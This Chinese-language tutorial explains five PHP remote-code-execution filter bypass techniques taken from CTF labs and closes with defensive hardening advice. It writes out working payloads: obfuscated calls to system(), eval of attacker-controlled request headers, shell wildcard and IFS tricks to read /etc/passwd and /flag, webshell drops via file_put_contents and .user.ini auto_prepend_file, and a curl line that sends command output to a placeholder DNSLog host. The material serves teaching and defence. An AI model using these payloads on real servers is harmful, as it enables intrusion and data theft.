PHP RCE绕过实战:从靶场到渗透测试的5个核心技巧
2026/8/2 8:33:14 网站建设 项目流程

1. 项目概述:从靶场到实战的RCE绕过思维

最近在复现和总结一些经典的RCE(远程代码执行)靶场时,我发现很多题目虽然场景各异,但核心的绕过思路却有着惊人的共通性。尤其是那些涉及PHP的eval()函数和Linux shell通杀符的关卡,它们像是一道道精心设计的谜题,考验的不仅是漏洞利用的熟练度,更是对语言特性和系统环境的深刻理解。通关之后,我梳理了其中最具实战价值的五个技巧。这些技巧并非孤立的奇技淫巧,而是一套在面对代码执行限制、字符过滤或命令注入拦截时的系统性解题思路。无论是进行代码审计、渗透测试还是CTF比赛,理解这些绕过手法的底层逻辑,都能让你在发现漏洞后,更高效地构造出可用的攻击载荷。

简单来说,RCE绕过的核心目标就是:在受限的环境下,让目标系统执行我们想要的代码或命令。限制可能来自WAF(Web应用防火墙)、应用自身的过滤函数、disable_functions配置,甚至是代码本身的逻辑。而我们的武器,就是PHP语言本身的灵活性和操作系统Shell的丰富特性。这篇文章,我会带你深入这五个技巧的细节,不仅告诉你“怎么做”,更重点剖析“为什么能这么做”,并分享我在实战和靶场中踩过的坑和总结的经验。无论你是刚入门安全的新手,还是想深化理解的老手,相信都能从中获得启发。

2. 核心思路拆解:利用语言与系统的“特性”

在深入具体技巧之前,我们必须建立一个核心认知:绕过,本质上是利用开发者意料之外的语言特性或系统功能。它不是“魔法”,而是基于对规则(语法、函数、环境)的深刻理解,从而找到规则的边界甚至漏洞。

2.1 靶场环境的典型限制分析

常见的RCE挑战环境,尤其是PHP相关的,通常会设置以下几类限制:

  1. 字符过滤:过滤或转义空格、引号、分号、反斜杠、点号、括号等关键字符。例如,system($_GET[‘cmd’])中的system和反引号被过滤。
  2. 函数禁用:通过disable_functions配置禁用systemexecpassthrushell_execpopenproc_open等直接执行命令的函数。
  3. 代码构造限制:在eval($_GET[‘code’])场景下,限制传入的代码不能包含某些关键字(如phpinfoflag)或必须符合特定格式。
  4. 无回显:命令执行了,但结果不直接输出到页面上(盲注),需要借助外带(DNSLog、HTTP请求)或写入文件等方式获取结果。
  5. 目录与文件限制:无法读取特定文件(如/flag),或当前目录不可写。

我们的绕过技巧,就是针对这些限制的“组合拳”。下面,我将围绕PHP动态特性Shell通配符技巧两大主线,展开五个实战技巧。

3. 技巧一:利用PHP字符串动态函数与可变变量

这是PHP环境下最经典、也最基础的绕过思路之一,主要应对函数名被过滤的情况。

3.1 核心原理:$var()$$var

PHP有两个强大的特性:

  • 可变函数:如果一个变量名后有圆括号(),PHP会尝试寻找与变量的值同名的函数,并执行它。例如:
    $func = ‘system’; $func(‘whoami’); // 等同于 system(‘whoami’);
  • 可变变量:一个变量的变量名可以动态地设置和使用。$$a的含义是,先取得$a的值,将这个值作为变量名,再取得这个新变量名的值。例如:
    $a = ‘hello’; $hello = ‘world’; echo $$a; // 输出 ‘world’

3.2 实战绕过场景与构造

假设一段过滤代码如下:

$blacklist = [‘system’, ‘exec’, ‘shell_exec’, ‘passthru’]; $cmd = $_GET[‘cmd’]; foreach ($blacklist as $bad) { if (stripos($cmd, $bad) !== false) { die(‘Hacker!’); } } // 假设这里有个危险的点,比如 eval(“echo \”$cmd\”;”);

直接传入system(‘ls’)会被拦截。此时可以利用字符串拼接或编码构造函数名。

方法A:字符串拼接/异或构造PHP中,字符串可以用.拼接,也可以用异或^等位运算生成。

// 拼接:’sys’ . ‘tem’ $_REQUEST[‘cmd’] = (‘sy’.’st’.’em’)(‘ls’); // 异或生成(在单/双引号解析的特定环境下):`‘s’^‘\x01’` 等,但更常用的是利用PHP字符串的自增特性或数组。

更通用的是利用$_POST$_GET数组本身。例如,传入?a=system&b=ls,在代码中构造:

$_GET[‘a’]($_GET[‘b’]); // 如果a和b可控,则形成动态函数调用

方法B:利用内置函数创建函数名如果过滤了字母,可以尝试用chr()函数拼接出函数名的ASCII码。

$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // $f = ‘system’ $f(‘whoami’);

实操心得:在真实环境或复杂靶场中,WAF可能也会检测常见的拼接模式如chr(。此时可以尝试使用hex2bin()base64_decode()配合编码,或者利用get_defined_functions()等内部函数来寻找未被过滤的路径。关键是灵活,不要死记一种payload。

4. 技巧二:无参数RCE与PHP“套娃”式函数调用

当你的输入点被限制为无参数函数调用,或者只能控制一个复杂表达式的一部分时,这个技巧就派上用场了。典型场景是eval(“echo \””. $_GET[‘input’] .”\”;”),但input的内容会被严格过滤,无法直接包含括号和参数。

4.1 核心原理:利用返回值作为参数

思路是:通过一系列无需括号即可调用的函数(或无参函数),层层递进,最终读取文件或执行命令。核心是以下几个函数或特性:

  1. getallheaders():获取所有HTTP请求头,返回数组。我们可以将命令写在某个Header里(如X-Forwarded-For),然后通过数组操作取出。
  2. session_id()/session_start():如果可控session_id,可以将其设置为payload,然后通过session_id()获取。
  3. localeconv()/current()localeconv()返回本地化信息数组,其第一个元素通常是点号.current()取数组第一个值。.可以用于目录遍历。
  4. scandir():列出目录。配合.current(localeconv())可以扫描当前目录。
  5. array_reverse()next()end()等数组操作函数,用于在文件列表中导航。
  6. readfile()highlight_file()file_get_contents()用于读取文件内容。

4.2 一个完整的无参数读文件示例

假设代码是eval($_GET[‘code’]),且code不能包含引号、括号传参。

目标:读取当前目录下的flag.php

步骤拆解:

  1. 获取当前目录列表scandir(current(localeconv()))localeconv()[0].current()取到.scandir(‘.’)列出文件。
  2. 在列表中定位flag.php:通常需要遍历。如果flag.php在列表的固定位置(比如第三个),可以用array_reverse()next()等组合。例如,假设它在正数第三个:
    // 这是一个思维链,实际eval中需要组合成一个表达式 $files = scandir(‘.’); // 得到数组 [‘.’, ‘..’, ‘flag.php’, ‘index.php’, …] // 需要跳过前两个元素。一种方法是: next(scandir(‘.’)); // 指针移到 ‘..’ next(scandir(‘.’)); // 指针移到 ‘flag.php’? 不对,每次scandir(‘.’)都是新的数组。 // 正确做法需要将数组赋值给一个变量,但无参数时不能直接赋值。可以用array_reverse后再取。 // 更常见的做法是:如果知道文件名,可以用array_search(),但它需要两个参数。 // 实战中,更暴力的是用`print_r(scandir(current(localeconv())))`先查看列表结构(如果允许输出)。
    一个经典的payload是,通过session_id()把文件名带进去(但需要session_start())。
  3. 读取文件:一旦得到文件名$filename,用readfile($filename)highlight_file($filename)输出。

一个更直接、利用getallheaders()的示例:

  • 请求时添加一个Header:X-Forwarded-For: <?php system(‘ls’);?>
  • Payload:eval(end(getallheaders()));
  • getallheaders()返回所有头部的数组,end()取到最后一个头部的值(即X-Forwarded-For的内容),然后eval执行。

注意事项:无参数RCE非常依赖环境配置和PHP版本。getallheaders()是Apache特有的函数,在Nginx+FPM下不可用。session_id()需要session_start()session.upload_progress或类似功能开启。在实际测试前,最好先用phpinfo()确认这些函数是否存在和可用。

5. 技巧三:Shell通配符的妙用——命令注入的“万金油”

当成功注入到系统命令中,但命令的某些字符(如空格、斜杠、点号)被过滤时,Linux Shell的通配符(Wildcards)就成了我们的救命稻草。这招在CTF中尤其常见。

5.1 核心通配符回顾

  • *:匹配任意长度任意字符(包括零个)。
  • ?:匹配任意单个字符。
  • [abc]:匹配方括号内列出的任意一个字符(如a、b、c)。
  • [a-z]:匹配一个字符范围。
  • [!abc][^abc]:匹配不在列出的字符中的任意一个字符。

5.2 实战绕过场景

场景1:空格被过滤空格是命令参数的分隔符。被过滤后,cat /etc/passwd无法执行。

  • 绕过方法:使用Shell的内部变量${IFS}$IFS$9<>重定向符。
    • cat${IFS}/etc/passwd
    • cat$IFS$9/etc/passwd($9是第九个参数,通常为空,用于隔开)
    • cat</etc/passwd(使用输入重定向)

场景2:斜杠/被过滤无法直接指定路径,如/etc/passwd/bin/cat

  • 绕过方法
    1. 利用环境变量cat ${PATH:0:1}etc${PATH:0:1}passwd${PATH:0:1}通常截取到/。但依赖PATH格式。
    2. 利用通配符?和已知目录:如果知道命令在/bin下,但/被过滤,可以尝试???/??t来匹配/bin/cat。这需要知道目录名的长度。
    3. 更强大的:使用*进行目录遍历本技巧核心)。假设当前目录下只有一个子目录bin,那么*/cat就能匹配到/bin/cat。对于文件,如果知道文件名但不知道路径,可以用find命令配合通配符。例如,过滤了/flag这个词,但我们可以用:cat $(find / -name *lag* 2>/dev/null)。即使/被过滤,我们也可以从根目录开始find

场景3:点号.被过滤(常用于隐藏文件或扩展名)

  • 绕过方法:用*匹配。例如,读取flag.php,可以用cat flag*cat fla*。如果当前目录只有这一个fla开头的文件,就会成功。

5.3 一个综合案例:过滤了空格、斜杠和cat命令

目标:读取/flag。 已知:cat/、空格被过滤。morelessheadtailnl等可能可用。

构造Payload:

  1. 我们需要一个命令来替代cat。假设more可用。
  2. 需要表示根目录和文件名。用*来匹配。根目录/无法表示,但我们可以利用通配符在当前目录的上级目录中匹配。如果我们在/var/www/html../../*可能匹配到根目录下的文件,但不确定性高。
  3. 更可靠的方法是,利用find命令本身。即使/被过滤,find的路径参数可以用.代替,并通过-name用通配符匹配文件名。
    find . -name *lag* -exec more {} \;
    但是这里出现了空格(-exec前后)。如果空格被严格过滤,此路不通。
  4. 终极方案:使用$IFS替代空格,并用*构建路径猜测
    • 假设flag文件在根目录,且文件名就是flag
    • Payload:more${IFS}*lagmore$IFS$9*lag
    • 这个payload会在当前目录及所有子目录中查找以任意路径开头、以lag结尾的文件。如果系统中有且仅有/flag符合这个模式,它就会被more命令读取。风险是可能匹配到多个文件。

踩坑记录:通配符扩展是由Shell完成的。如果注入点是在PHP的exec()system()等函数中,Shell会正常扩展通配符。但如果注入点是在一些自定义的、模拟命令执行的环境中,通配符可能不会生效。所以,在实战中,通配符技巧成功后,是判断是否存在真实命令注入(而非代码执行)的重要标志

6. 技巧四:编码与变形——对抗WAF与过滤函数

当直接的关键字(如evalsystemflag)被正则表达式或WAF规则直接拦截时,我们需要对Payload进行编码或变形,使其在检测时“看起来不像”,但在执行时能恢复原样。

6.1 常用编码与变形手法

  1. Base64编码

    • PHP中可以用base64_decode()解码执行。
    • Payload:eval(base64_decode(‘c3lzdGVtKCdscycpOw==’));(即system(‘ls’);)
    • 如果base64_decode也被过滤,可以尝试convert_uudecode()等冷门函数。
  2. Hex编码

    • PHP中可以用hex2bin()转换。
    • Payload:eval(hex2bin(‘73797374656d28276c7327293b’));
  3. Rotor13编码

    • PHP用str_rot13()
    • Payload:eval(str_rot13(‘flfgrz(‘yf’);’));(注意,只编码了字母,括号分号未编码)
  4. 字符串反转

    • eval(strrev(‘;)(‘metsys’))’));需要配合其他技巧执行,因为反转后语法错误。通常用于绕过简单的字符串匹配。
  5. 利用PHP的字符串解析特性

    • PHP在将参数传入函数时,会对字符串进行解析。例如,$_GET[‘cmd’]中的cmd可以写成c.m.dc+m+d(在某些上下文中会被转换成cmd)。但这通常适用于变量名,而非函数体内的字符串。
  6. 利用HTML实体或URL编码

    • WAF可能解码一次,但应用层可能解码两次。例如,传入%2570%2568%2570%2569%256e%2566%256f(双重URL编码的phpinfo),WAF解码一次看到%70%68%70%69%6e%66%6f(仍是编码),可能放过。而PHP接收到$_GET时自动解码,得到phpinfo

6.2 组合拳与高级变形

单纯的编码可能被WAF检测解码过程。高级绕过需要组合:

  • 拆分+拼接+编码:将system拆成‘sy’.‘st’.‘em’,然后对每一部分进行base64编码,再在代码中拼接解码。
  • 利用.htaccessphp.ini进行预定义(需文件上传权限):在可写的目录下,设置php_value auto_prepend_file为一段编码后的恶意代码,这样所有php文件都会包含它。
  • 动态生成Payload:通过一段“无害”的代码,动态写出真正的恶意代码并包含。例如:
    // 假设这是传入的code参数 $f = ‘/tmp/’.md5(rand()).‘.php’; file_put_contents($f, ‘<?php system($_GET[“c”]);?>’); include($f); // 然后访问生成的文件执行命令

经验之谈:对抗WAF是一个持续的过程。最好的方法是fuzz(模糊测试)。用一个基础的Payload,然后通过Burp Suite的Intruder或自定义脚本,对Payload的各个位置进行替换、编码、插入垃圾字符等操作,观察哪些变体能成功绕过。记录成功的变体,分析其规律,往往能发现WAF规则的盲点。

7. 技巧五:利用PHP错误处理与标签特性执行代码

这个技巧相对偏门,但在某些极端过滤环境下有奇效。它利用了PHP在解析文件时的一些“宽容”特性。

7.1 利用短标签<?=<%

如果服务器配置了short_open_tag=On,可以使用<?=代替<?php echo。这在某些过滤了php关键字但未过滤<?=的场景下有用。ASP标签<%%>asp_tags=On时也可用,但现代PHP默认关闭。

7.2 利用<script language=”php”>标签

这是一个合法的PHP标签,但极少使用。如果过滤了<?php<?=,但未过滤<script,可以尝试:

<script language=”php”>system(‘ls’);</script>

7.3 利用PHP的错误处理器assert()与字符串执行

assert()本身是一个断言函数,但它会将其字符串参数作为PHP代码执行(如果配置允许)。更关键的是,在PHP 7.2以前,assert()的参数可以是字符串,并且会像eval()一样执行。虽然高版本已修改此行为,但在一些老旧靶场或环境中仍可能遇到。

assert(‘system(“ls”)’);

如果assert被过滤,可以尝试用可变函数或编码绕过。

7.4 最偏门的技巧:利用.user.iniauto_prepend_file

这严格来说不算“执行”技巧,而是“持久化”或“预包含”技巧。但它能绕过很多对直接代码执行的过滤。

条件

  1. 有一个可上传或可写文件的目录。
  2. 该目录能被PHP访问(即通过Web可访问到该目录下的php文件)。

方法

  1. 在该目录下创建一个.user.ini文件(注意开头的点)。
  2. 内容为:auto_prepend_file=base64编码的恶意代码文件路径或data://伪协议
    • 例如:auto_prepend_file=/tmp/shell.png(假设/tmp/shell.png内容是<?php eval($_POST[‘a’]);?>)
    • 或者使用data://伪协议直接包含代码:auto_prepend_file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=(需allow_url_include=On)
  3. 访问该目录下的任何一个正常的PHP文件,你的恶意代码都会在该文件头部自动执行。

这个方法的强大之处在于,它不依赖于主应用代码中存在eval()include()漏洞,只要它能影响目录下的其他文件即可。防御方法是将open_basedir设置好,并禁止上传目录执行PHP。

8. 实战问题排查与技巧选择指南

掌握了这么多技巧,在真实面对一个黑盒目标时,如何快速测试和选择最有效的绕过方法呢?以下是我总结的排查流程和决策思路:

8.1 信息收集与试探

  1. 确定注入点类型:是PHP代码执行(eval,assert,preg_replace /e模式)还是系统命令注入(system,exec, 反引号)?尝试输出phpinfo()或执行whoami/id来判断。
  2. 探测过滤规则
    • 发送基础Payload:如phpinfo();system(‘id’);。观察是直接执行、报错、被清空还是返回拦截页面。
    • fuzz特殊字符:依次测试空格、引号(单双)、分号、反斜杠、括号、点号、斜杠、美元符号等,看哪些被过滤或转义。
    • fuzz关键字:测试system,exec,shell_exec,passthru,eval,assert,file_get_contents,scandir等函数名,以及flag,cat,ls,id等命令名是否被拦截。
  3. 查看错误信息:如果开启了display_errors,错误信息是宝贵的线索,可能暴露过滤逻辑、路径或可用函数。

8.2 技巧选择决策树

基于探测结果,可以按以下路径选择技巧:

  • 情况A:函数名被过滤,但括号和参数可控->优先尝试技巧一(可变函数)。用拼接、编码、数组方式构造函数名。
  • 情况B:输入点限制极严,几乎不能带参数->考虑技巧二(无参数RCE)。检查getallheaders(),session_id(),scandir(‘.’)等是否可用。
  • 情况C:确认是命令注入,但空格、斜杠等分隔符被过滤->优先使用技巧三(Shell通配符)。用${IFS}代替空格,用*?匹配路径和命令。
  • 情况D:Payload被WAF直接拦截,返回403等->使用技巧四(编码变形)。尝试Base64、Hex、双重编码,或拆分关键字。
  • 情况E:以上都无效,且有文件上传或写入权限->考虑技巧五(.user.ini)或其他文件包含技巧。尝试写入.user.ini.htaccess进行持久化。
  • 情况F:疑似有disable_functions限制-> 尝试使用未被禁用的函数。用phpinfo()查看disable_functions列表。寻找imap_openmailldap_connect等可能用于绕过(如利用其内部命令执行)的函数,或者使用PHP-FPM/UAF等更高阶的绕过手法(这已超出本文基础技巧范围)。

8.3 常见问题与解决方案速查表

问题现象可能原因排查与解决思路
Payload提交后无任何输出1. 代码执行但无回显(盲注)
2. 执行出错被静默处理
3. Payload本身语法错误
1. 尝试外带数据:system(‘curl http://your-dnslog.com/‘.whoami)
2. 尝试写入文件:file_put_contents(‘/tmp/test’, ‘test’)
3. 简化Payload,先用phpinfo();测试
返回“Hacker!”或“非法输入”触发了应用层或WAF的关键字过滤1. 对关键字进行编码(Base64, Hex)
2. 拆分关键字(‘sy’.‘st’.‘em’
3. 使用同义函数或命令(passthru代替systemnl代替cat
命令执行了但结果不完整可能有长度限制或输出被截断1. 将输出重定向到文件:command > /tmp/out.txt
2. 使用moreless等分页命令(如果允许)
3. 用base64编码输出结果,避免特殊字符截断
使用通配符*匹配不到文件1. 当前目录无匹配文件
2. Shell通配符扩展被禁用(极少见)
3. 路径不对
1. 先用find . -type f查看目录结构
2. 尝试绝对路径通配:/usr/bin/*
3. 使用?精确匹配字符数
eval()执行编码Payload失败1. 编码方式错误
2.eval内不能直接使用base64_decode等函数返回值
确保Payload是完整的PHP语句。例如,eval(base64_decode(‘…’));是正确的,而eval(‘base64_decode(“…”)’);解码后可能不是有效代码。

9. 防御视角:如何避免自己的代码被绕过

作为开发者,了解攻击手法是为了更好地防御。针对上述绕过技巧,以下是一些加固建议:

  1. 严格输入过滤与白名单:不要试图用黑名单过滤所有危险函数和字符。对于命令执行或文件包含,应尽可能使用白名单,只允许预期的、有限的字符集。对于代码执行(如模板引擎),应彻底避免使用eval()
  2. 使用参数化接口或安全函数
    • 对于系统命令,使用escapeshellarg()escapeshellcmd()对参数进行转义。
    • 对于文件操作,使用basename()realpath()(结合白名单)来规范路径,避免目录遍历。
    • 对于数据库,使用预处理语句(PDO)。
  3. 配置安全
    • php.ini中设置disable_functions,禁用不必要的危险函数。
    • 设置open_basedir,限制PHP可访问的目录范围。
    • 关闭register_globalsallow_url_includeallow_url_fopen(除非必要)。
    • short_open_tagasp_tags设为Off
  4. 最小权限原则:运行Web服务的用户(如www-data)应具有最低必要的权限。避免使用root权限运行PHP-FPM或Apache。
  5. WAF与日志审计:部署WAF作为纵深防御的一环,并定期审计应用日志和系统日志,寻找攻击迹象。
  6. 代码审计与安全意识:定期进行代码安全审计,对开发人员进行安全培训,从源头减少漏洞。

通关靶场只是第一步,将这些绕过技巧内化为对PHP和Shell底层行为的理解,才能在真实的攻防对抗中灵活应变。最重要的不是记住每一个Payload,而是掌握那种“在限制中寻找可能性”的思维模式。每次遇到新的过滤规则,都是一次对知识深度的考验和拓展。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询